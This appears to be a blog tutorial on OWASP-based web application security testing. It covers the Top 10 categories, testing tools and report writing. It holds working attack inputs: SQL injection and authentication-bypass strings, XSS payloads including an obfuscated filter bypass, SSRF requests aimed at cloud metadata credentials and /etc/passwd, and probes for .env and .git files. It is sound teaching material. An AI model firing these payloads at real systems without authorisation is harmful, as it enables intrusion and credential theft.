Web Application Security Testing with OWASP

Web applications serve as the primary interface between organizations and their users, making them attractive targets for attackers. The OWASP (Open Web Application Security Project) Foundation estimates that over 90% of attacks on web applications target known vulnerabilities that could have been prevented with proper security testing[1]. Understanding how to systematically identify and remediate these vulnerabilities is essential for developers, security engineers, and penetration testers.

This comprehensive guide explores web application security testing through the lens of OWASP methodologies, covering everything from reconnaissance to exploitation and remediation. Whether you’re conducting security assessments for the first time or refining your testing approach, this guide provides practical techniques and real-world examples for identifying vulnerabilities before attackers do.

The OWASP Testing Framework

The OWASP Web Security Testing Guide (WSTG) provides a comprehensive framework for assessing web application security[2]. This methodology breaks down testing into distinct phases and categories, ensuring systematic coverage of potential vulnerabilities.

Testing Phases

Phase 1: Information Gathering

  • Identify application components
  • Map the attack surface
  • Understand technologies in use
  • Document entry points and data flows

Phase 2: Configuration and Deployment Testing

  • Verify security configurations
  • Identify administrative interfaces
  • Check for default credentials
  • Assess network configuration

Phase 3: Identity Management Testing

  • Test authentication mechanisms
  • Validate password policies
  • Assess account recovery processes
  • Check for privilege escalation paths

Phase 4: Business Logic Testing

  • Identify workflow flaws
  • Test for race conditions
  • Validate transaction integrity
  • Check for bypass opportunities

Phase 5: Data Validation Testing

  • Test for injection vulnerabilities
  • Validate input sanitization
  • Check output encoding
  • Assess file upload security

Security testing and vulnerability analysis
Web application security testing environment

OWASP Top 10: Critical Security Risks

The OWASP Top 10 represents the most critical security risks to web applications. Understanding and testing for these vulnerabilities should be the foundation of any security assessment.

A01: Broken Access Control

Broken Access Control occurs when applications fail to properly enforce restrictions on what authenticated users can do. This category jumped from fifth position to first in the latest OWASP Top 10, reflecting its prevalence and severity[3].

Common Access Control Vulnerabilities

  • Vertical privilege escalation - Regular users accessing admin functions
  • Horizontal privilege escalation - Users accessing other users’ data
  • Missing function-level access control - Unprotected API endpoints
  • Insecure Direct Object References (IDOR) - Manipulating object identifiers

Testing Methodology

# Test for IDOR vulnerability
# Original request (viewing own profile)
GET /api/user/profile?id=1234 HTTP/1.1
Authorization: Bearer user1234_token

# Test: Try accessing another user's profile
GET /api/user/profile?id=5678 HTTP/1.1
Authorization: Bearer user1234_token

# If successful, IDOR vulnerability exists

Exploitation Example

import requests

def test_idor(base_url, user_token, target_user_ids):
    """Test for IDOR vulnerabilities"""
    headers = {
        'Authorization': f'Bearer {user_token}',
        'Content-Type': 'application/json'
    }
    
    vulnerable_endpoints = []
    
    for user_id in target_user_ids:
        # Test profile access
        response = requests.get(
            f'{base_url}/api/user/profile?id={user_id}',
            headers=headers
        )
        
        if response.status_code == 200:
            vulnerable_endpoints.append({
                'endpoint': f'/api/user/profile?id={user_id}',
                'severity': 'HIGH',
                'description': 'Unauthorized access to user profile'
            })
    
    return vulnerable_endpoints

A02: Cryptographic Failures

Cryptographic failures (formerly Sensitive Data Exposure) occur when applications fail to protect sensitive data through encryption or when cryptographic implementations contain flaws.

Testing Checklist

  • Verify HTTPS is enforced site-wide
  • Check for sensitive data in URLs
  • Validate certificate configuration
  • Test for weak ciphers
  • Assess key management practices

SSL/TLS Testing

# Test SSL/TLS configuration with testssl.sh
./testssl.sh --full https://target.example.com

# Test for specific vulnerabilities
./testssl.sh --heartbleed --ccs-injection --poodle https://target.example.com

# Check cipher strength
nmap --script ssl-enum-ciphers -p 443 target.example.com

A03: Injection

Injection vulnerabilities occur when untrusted data is sent to an interpreter as part of a command or query. SQL injection remains one of the most dangerous and common vulnerabilities[4].

SQL Injection Testing

-- Basic SQL injection tests
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin' --
admin' #

-- Time-based blind SQL injection
' AND SLEEP(5) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))xyz) --

-- Boolean-based blind SQL injection
' AND 1=1 --    (Should return normal response)
' AND 1=2 --    (Should return different response)

Automated SQL Injection Testing

# SQLMap basic scan
sqlmap -u "http://target.com/page?id=1" --batch

# Deeper scanning with risk and level parameters
sqlmap -u "http://target.com/page?id=1" \
    --level=5 \
    --risk=3 \
    --batch

# POST request testing
sqlmap -u "http://target.com/login" \
    --data="username=test&password=test" \
    --method=POST \
    --batch

# Test with authenticated session
sqlmap -u "http://target.com/page?id=1" \
    --cookie="SESSIONID=abc123" \
    --batch

Other Injection Types

  • Command Injection - OS command execution
  • LDAP Injection - LDAP query manipulation
  • XPath Injection - XML database queries
  • NoSQL Injection - NoSQL database manipulation
  • XML Injection - XML parser exploitation

A04: Insecure Design

Insecure Design represents a new category focusing on risks related to design and architectural flaws. These issues cannot be fixed by perfect implementation—they require redesign.

Design Flaw Testing

Look for:

  • Missing or ineffective security controls
  • Inadequate threat modeling
  • Insufficient defense-in-depth
  • Business logic vulnerabilities
  • Excessive trust in client-side controls

Example: Price Manipulation

// Insecure design: Trusting client-side price
// Client sends:
POST /checkout HTTP/1.1
Content-Type: application/json

{
  "item_id": "laptop",
  "quantity": 1,
  "price": 1000,  // Attacker modifies this
  "total": 1      // Changed from 1000 to 1
}

// Secure design: Server calculates price
POST /checkout HTTP/1.1
Content-Type: application/json

{
  "item_id": "laptop",
  "quantity": 1
}
// Server looks up current price and calculates total

A05: Security Misconfiguration

Security misconfiguration includes a wide range of configuration issues that leave applications vulnerable.

Configuration Testing

# Check for directory listing
curl -I http://target.com/uploads/

# Test for exposed configuration files
curl http://target.com/.env
curl http://target.com/.git/config
curl http://target.com/web.config
curl http://target.com/.htaccess

# Check default credentials
curl -u admin:admin http://target.com/admin/

# Test for verbose error messages
curl http://target.com/nonexistent.php

Security Headers Check

import requests

def check_security_headers(url):
    """Verify security headers are present"""
    response = requests.get(url)
    
    required_headers = {
        'Strict-Transport-Security': 'HSTS protection',
        'X-Frame-Options': 'Clickjacking protection',
        'X-Content-Type-Options': 'MIME-sniffing protection',
        'Content-Security-Policy': 'XSS/injection protection',
        'X-XSS-Protection': 'XSS filter'
    }
    
    missing_headers = []
    for header, description in required_headers.items():
        if header not in response.headers:
            missing_headers.append(f"{header} ({description})")
    
    return missing_headers

A06: Vulnerable and Outdated Components

Applications using vulnerable components inherit those security flaws. This includes frameworks, libraries, and dependencies.

Component Vulnerability Testing

# Scan for vulnerable dependencies (Node.js)
npm audit

# Check for outdated packages
npm outdated

# Scan with retire.js
retire --path /path/to/application

# Python dependency scanning
pip-audit

# Ruby dependency scanning  
bundler-audit check

Code dependencies and vulnerability scanning
Dependency vulnerability analysis

A07: Identification and Authentication Failures

Authentication vulnerabilities allow attackers to compromise passwords, keys, session tokens, or exploit implementation flaws to assume users’ identities.

Authentication Testing

import requests
import time

def test_brute_force_protection(url, username):
    """Test for brute force protection"""
    passwords = ['password123', 'admin123', 'test123']
    
    for password in passwords:
        start_time = time.time()
        response = requests.post(
            url,
            data={'username': username, 'password': password}
        )
        elapsed = time.time() - start_time
        
        # Check if account gets locked
        if 'locked' in response.text.lower():
            return "Account lockout implemented"
        
        # Check for rate limiting
        if elapsed > 2:
            return "Rate limiting detected"
    
    return "WARNING: No brute force protection detected"

def test_weak_passwords(url):
    """Test if weak passwords are accepted"""
    weak_passwords = ['123456', 'password', 'admin', 'test']
    
    # Attempt registration with weak passwords
    for pwd in weak_passwords:
        response = requests.post(
            f'{url}/register',
            data={
                'username': f'test_{pwd}',
                'password': pwd,
                'email': f'[email protected]'
            }
        )
        
        if response.status_code == 200:
            return f"WARNING: Weak password accepted: {pwd}"
    
    return "Strong password policy enforced"

Session Management Testing

# Test for session fixation
# 1. Get session ID before login
curl -c cookies.txt http://target.com/login

# 2. Login with that session ID
curl -b cookies.txt -d "username=admin&password=pass" http://target.com/login

# 3. Check if session ID changed
curl -b cookies.txt http://target.com/dashboard

# Test session timeout
# 1. Login and get session
# 2. Wait beyond expected timeout
# 3. Try to access protected resource
# 4. Should be denied if timeout works

A08: Software and Data Integrity Failures

This category focuses on code and infrastructure that doesn’t protect against integrity violations, such as using unverified CI/CD pipelines or untrusted sources.

Integrity Testing

# Check for Subresource Integrity (SRI)
curl http://target.com/ | grep -i "integrity="

# Verify CDN resources use SRI
<script src="https://cdn.example.com/library.js" 
        integrity="sha384-hash"
        crossorigin="anonymous"></script>

# Check update mechanisms
# - Are updates signed?
# - Is HTTPS enforced?
# - Are checksums verified?

A09: Security Logging and Monitoring Failures

Insufficient logging and monitoring allows breaches to go undetected. Security teams need visibility into application security events.

Logging Assessment

def assess_logging(application_logs):
    """Assess security logging completeness"""
    
    required_events = [
        'login_attempts',
        'authentication_failures',
        'access_control_failures',
        'input_validation_failures',
        'encryption_failures',
        'privilege_changes',
        'sensitive_data_access'
    ]
    
    logged_events = parse_logs(application_logs)
    
    missing_logging = []
    for event in required_events:
        if event not in logged_events:
            missing_logging.append(event)
    
    # Check log detail level
    if not contains_user_id(logged_events):
        missing_logging.append("user identification")
    if not contains_timestamp(logged_events):
        missing_logging.append("timestamps")
    if not contains_ip_address(logged_events):
        missing_logging.append("source IP")
    
    return missing_logging

A10: Server-Side Request Forgery (SSRF)

SSRF flaws occur when web applications fetch remote resources without validating user-supplied URLs, allowing attackers to coerce applications to send requests to unintended locations.

SSRF Testing

# Test for SSRF in image processing
POST /api/process-image HTTP/1.1
Content-Type: application/json

{
  "image_url": "http://169.254.169.254/latest/meta-data/"
}

# Cloud metadata service enumeration (AWS)
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Internal network scanning
http://192.168.1.1/
http://10.0.0.1/

# File protocol exploitation
file:///etc/passwd
file:///c:/windows/win.ini

Testing Methodology and Tools

Effective security testing combines manual analysis with automated tools, following a structured methodology.

Reconnaissance

Information Gathering

# Subdomain enumeration
subfinder -d target.com -o subdomains.txt
amass enum -d target.com

# Directory and file discovery
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Technology fingerprinting
whatweb target.com
wappalyzer target.com

# Google dorking
site:target.com inurl:admin
site:target.com filetype:pdf
site:target.com ext:sql

Intercepting Proxies

Burp Suite Configuration

1. Configure browser to use proxy (127.0.0.1:8080)
2. Import Burp CA certificate
3. Configure scope (only target domain)
4. Enable automatic scanning (Pro)
5. Use repeater for manual testing

Common Burp Suite Testing Patterns

  • Intruder - Automated fuzzing and brute force
  • Repeater - Manual request manipulation
  • Decoder - Encode/decode various formats
  • Comparer - Compare responses for subtle differences
  • Extensions - Extend functionality (Logger++, Autorize, etc.)

Automated Scanning

While manual testing is crucial, automated scanners provide broad coverage efficiently:

# OWASP ZAP automated scan
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com

# Nikto web server scanner
nikto -h http://target.com -output nikto_report.html -Format htm

# Nuclei vulnerability scanner
nuclei -u https://target.com -t cves/ -t vulnerabilities/

# Wapiti vulnerability scanner
wapiti -u http://target.com -f html -o wapiti_report

Advanced Testing Techniques

Business Logic Testing

Business logic flaws often escape automated tools:

Race Condition Testing

import concurrent.futures
import requests

def exploit_race_condition(url, coupon_code):
    """Test for race condition in coupon redemption"""
    
    def redeem_coupon():
        return requests.post(
            url,
            data={'coupon': coupon_code}
        )
    
    # Send multiple simultaneous requests
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        futures = [executor.submit(redeem_coupon) for _ in range(10)]
        results = [future.result() for future in futures]
    
    # Check if multiple redemptions succeeded
    successful = sum(1 for r in results if r.status_code == 200)
    
    if successful > 1:
        return f"VULNERABILITY: Coupon used {successful} times"
    return "Race condition protection working"

Cross-Site Scripting (XSS) Testing

Reflected XSS

// Test payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">

// Bypass filters
<ScRiPt>alert('XSS')</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="eval(atob('YWxlcnQoJ1hTUycp'))">

Stored XSS

def test_stored_xss(url, auth_token):
    """Test for stored XSS vulnerabilities"""
    
    payloads = [
        '<script>alert("XSS")</script>',
        '<img src=x onerror=alert("XSS")>',
        '<svg/onload=alert("XSS")>',
    ]
    
    for payload in payloads:
        # Submit payload (e.g., in comment)
        requests.post(
            f'{url}/api/comments',
            headers={'Authorization': f'Bearer {auth_token}'},
            json={'comment': payload}
        )
        
        # Retrieve and check if payload executed
        response = requests.get(f'{url}/comments')
        
        if payload in response.text:
            return f"STORED XSS: Payload persisted: {payload}"
    
    return "No stored XSS detected"

Reporting and Remediation

Effective security testing produces actionable reports that drive remediation.

Report Structure

Executive Summary

  • Overall risk assessment
  • Critical findings count
  • Remediation timeline recommendations

Technical Findings

For each vulnerability:

## SQL Injection in Login Form

**Severity:** Critical
**CVSS Score:** 9.8

**Description:**
The login form at /login.php is vulnerable to SQL injection through the username parameter.

**Evidence:**
```sql
Username: admin' OR '1'='1' --
Password: anything
Result: Successful authentication bypass

Impact:

  • Complete database compromise
  • User credential theft
  • Data manipulation capability

Remediation: Use parameterized queries:

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');
$stmt->execute([$username]);

References:

  • OWASP: SQL Injection
  • CWE-89: SQL Injection

## Related Articles

- [Penetration Testing Tools in Kali Linux](https://terabyte.systems/posts/penetration-testing-tools-kali-linux/)
- [Cloudflare WAF Security Rules](https://terabyte.systems/posts/cloudflare-waf-security-rules/)
- [Complete Penetration Testing Methodology: Professional Guide](https://terabyte.systems/posts/complete-penetration-testing-methodology-professional-guide/)

## Conclusion

Web application security testing is a critical discipline that requires both technical expertise and systematic methodology. The OWASP framework provides an excellent foundation, but effective testing goes beyond following checklists—it requires understanding how applications work, how they can fail, and how attackers think.

Success in web application security testing comes from combining automated tools with manual analysis, staying current with emerging vulnerabilities, and developing strong foundations in secure coding practices. Whether you're a developer aiming to write secure code, a penetration tester identifying vulnerabilities, or a security engineer building defenses, understanding OWASP principles and testing methodologies is essential.

Remember that security testing is not a one-time activity but an ongoing process. As applications evolve, new features introduce new attack surfaces. Regular security assessments, continuous monitoring, and proactive remediation create a security posture that can withstand the ever-evolving threat landscape.

## References

[1] OWASP Foundation. (2024). *OWASP Top 10 - 2021*. Available at: https://owasp.org/Top10/ (Accessed: November 2025)

[2] OWASP Foundation. (2024). *Web Security Testing Guide v4.2*. Available at: https://owasp.org/www-project-web-security-testing-guide/ (Accessed: November 2025)

[3] PortSwigger. (2024). *Web Security Academy: Access Control Vulnerabilities*. Available at: https://portswigger.net/web-security/access-control (Accessed: November 2025)

[4] MITRE. (2024). *CWE-89: SQL Injection*. Available at: https://cwe.mitre.org/data/definitions/89.html (Accessed: November 2025)

[5] OWASP. (2024). *OWASP Zed Attack Proxy (ZAP)*. Available at: https://www.zaproxy.org/ (Accessed: November 2025)

Thank you for reading! If you have any feedback or comments, please send them to [email protected].